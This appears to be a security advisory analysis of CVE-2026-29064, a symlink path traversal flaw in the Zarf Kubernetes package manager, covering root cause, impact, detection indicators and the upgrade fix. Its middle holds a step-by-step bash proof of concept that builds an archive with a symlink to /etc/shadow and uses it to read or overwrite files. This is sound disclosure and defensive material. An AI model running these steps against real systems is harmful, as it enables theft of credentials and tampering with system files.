CVE-2026-29064: 
NixOS vulnerability analysis and mitigation

CVE-2026-29064 is a path traversal vulnerability via symlink extraction in Zarf, an airgap-native package manager for Kubernetes. The flaw affects Zarf versions 0.54.0 through 0.73.0 (i.e., >= 0.54.0, < 0.73.1) and was disclosed on March 6, 2026, with a patch released in version 0.73.1. It carries a CVSS v3.1 base score of 8.2 (High) (GitHub Advisory, Zarf Advisory).

The root cause (CWE-22) lies in src/pkg/archive/archive.go, where three extraction handler functions — defaultHandler (line 320), stripHandler (line 342), and filterHandler (line 370) — create symlinks from archive entries without validating that the symlink target resolves within the extraction destination directory. Specifically, defaultHandler calls os.Symlink(filepath.Join(dst, f.LinkTarget), target), and while filepath.Join cleans the path, it does not enforce that the result stays under dst, meaning a LinkTarget of ../../../../etc/shadow resolves to /etc/shadow outside the extraction root. This is a symlink variant of the "Zip Slip" class of vulnerabilities (related to CVE-2018-1002200). Exploitation requires a user to process a specially crafted Zarf package or archive, making user interaction a prerequisite (Zarf Advisory, GitHub Advisory).

Successful exploitation allows an attacker to create symlinks pointing to arbitrary filesystem locations outside the intended extraction directory, enabling unauthorized reads of sensitive files (e.g., /etc/shadow) and arbitrary file writes to any location accessible by the process. In scenarios where an overwritten file is subsequently executed, this can escalate to code execution on the system performing the extraction. The vulnerability affects any user or SDK consumer of Zarf who processes packages from untrusted or semi-trusted sources, including packages received via file transfer, downloaded from registries, or shared across organizational boundaries (Zarf Advisory, GitHub Advisory).

A proof-of-concept (PoC) with step-by-step bash commands is publicly available in the official security advisory, demonstrating the symlink traversal using zarf tools archiver decompress (Zarf Advisory). The EPSS score is approximately 0.029% (0.000140), placing it in the 9th percentile for exploitation probability within 30 days. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability is detected by Qualys (detection ID 761789) (GitHub Advisory).

1. Craft a malicious archive: Create a staging directory and generate a symlink with a traversal path targeting a sensitive file outside the intended extraction directory:

mkdir -p /tmp/cve-repro/archive-contents
cd /tmp/cve-repro/archive-contents
ln -s ../../../../../../../etc/shadow escape-link
echo "benign content" > readme.txt

2. Package into a tar.gz archive (without dereferencing the symlink):

cd /tmp/cve-repro
tar -czf malicious.tar.gz -C archive-contents .

3. Verify the archive contains the symlink (optional confirmation step):

tar -tvf malicious.tar.gz
# Expected: lrwxrwxrwx ... ./escape-link -> ../../../../../../../etc/shadow

4. Deliver the malicious package to a target system running a vulnerable Zarf version (0.54.0–0.73.0) via file transfer, registry, or cross-organizational sharing.
5. Trigger extraction: Induce the victim (administrator or automated pipeline) to process the package using zarf tools archiver decompress or a package load/archive operation:

mkdir -p /tmp/cve-repro/extract/a/b/c/d
zarf tools archiver decompress malicious.tar.gz /tmp/cve-repro/extract/a/b/c/d

6. Verify symlink escape: Confirm the symlink resolves outside the extraction directory:

ls -la /tmp/cve-repro/extract/a/b/c/d/escape-link
readlink -f /tmp/cve-repro/extract/a/b/c/d/escape-link
# Expected: /etc/shadow

7. Exploit read or write: Read sensitive files through the symlink, or craft a second archive entry targeting the same symlink name to overwrite arbitrary files. If an overwritten file is subsequently executed, achieve code execution (Zarf Advisory).

• File System: Unexpected symlinks within Zarf extraction directories pointing to paths outside the destination (e.g., /etc/shadow, /etc/passwd, or other sensitive system files); use find <extraction_dir> -type l and readlink -f to identify symlinks resolving outside the intended directory.
• File System: Unexpected modifications to sensitive system files (e.g., /etc/shadow, /etc/cron.d/*, SSH authorized_keys) coinciding with Zarf package extraction events.
• Logs: System audit logs (auditd) showing symlink or open syscalls from the Zarf process targeting paths outside the extraction directory.
• Process: Zarf process (zarf) spawning unexpected child processes or accessing files outside its normal operational paths during package extraction.
• Network: Unexpected outbound connections from systems running Zarf shortly after package extraction, which may indicate post-exploitation activity if a writable+executable file was overwritten (Zarf Advisory).

Upgrade Zarf to version 0.73.1 or later immediately; the fix updates archive extraction to use the os.root API, which enforces that symlink targets resolve within the extraction destination (Zarf Release). Previously created packages do not need to be rebuilt — only the Zarf binary or SDK package version needs updating. If an immediate upgrade is not possible, restrict processing of Zarf packages exclusively to fully trusted sources, and avoid using zarf tools archiver decompress on archives from untrusted or unverified origins. Additionally, implement file integrity monitoring and access controls on systems handling Zarf packages to limit the impact of potential symlink exploitation (GitHub Advisory).

The vulnerability was reported by security researcher "joonas" and published by Zarf maintainer brandtkeller on March 6, 2026 (Zarf Advisory). Red Hat acknowledged the CVE on March 7, 2026. The openSUSE security announce mailing list also referenced the issue. Social media activity was observed on Bluesky and Mastodon, with community discussion noting the Zip Slip lineage of the vulnerability. Overall community sentiment appears measured, given the local attack vector and the availability of a patch.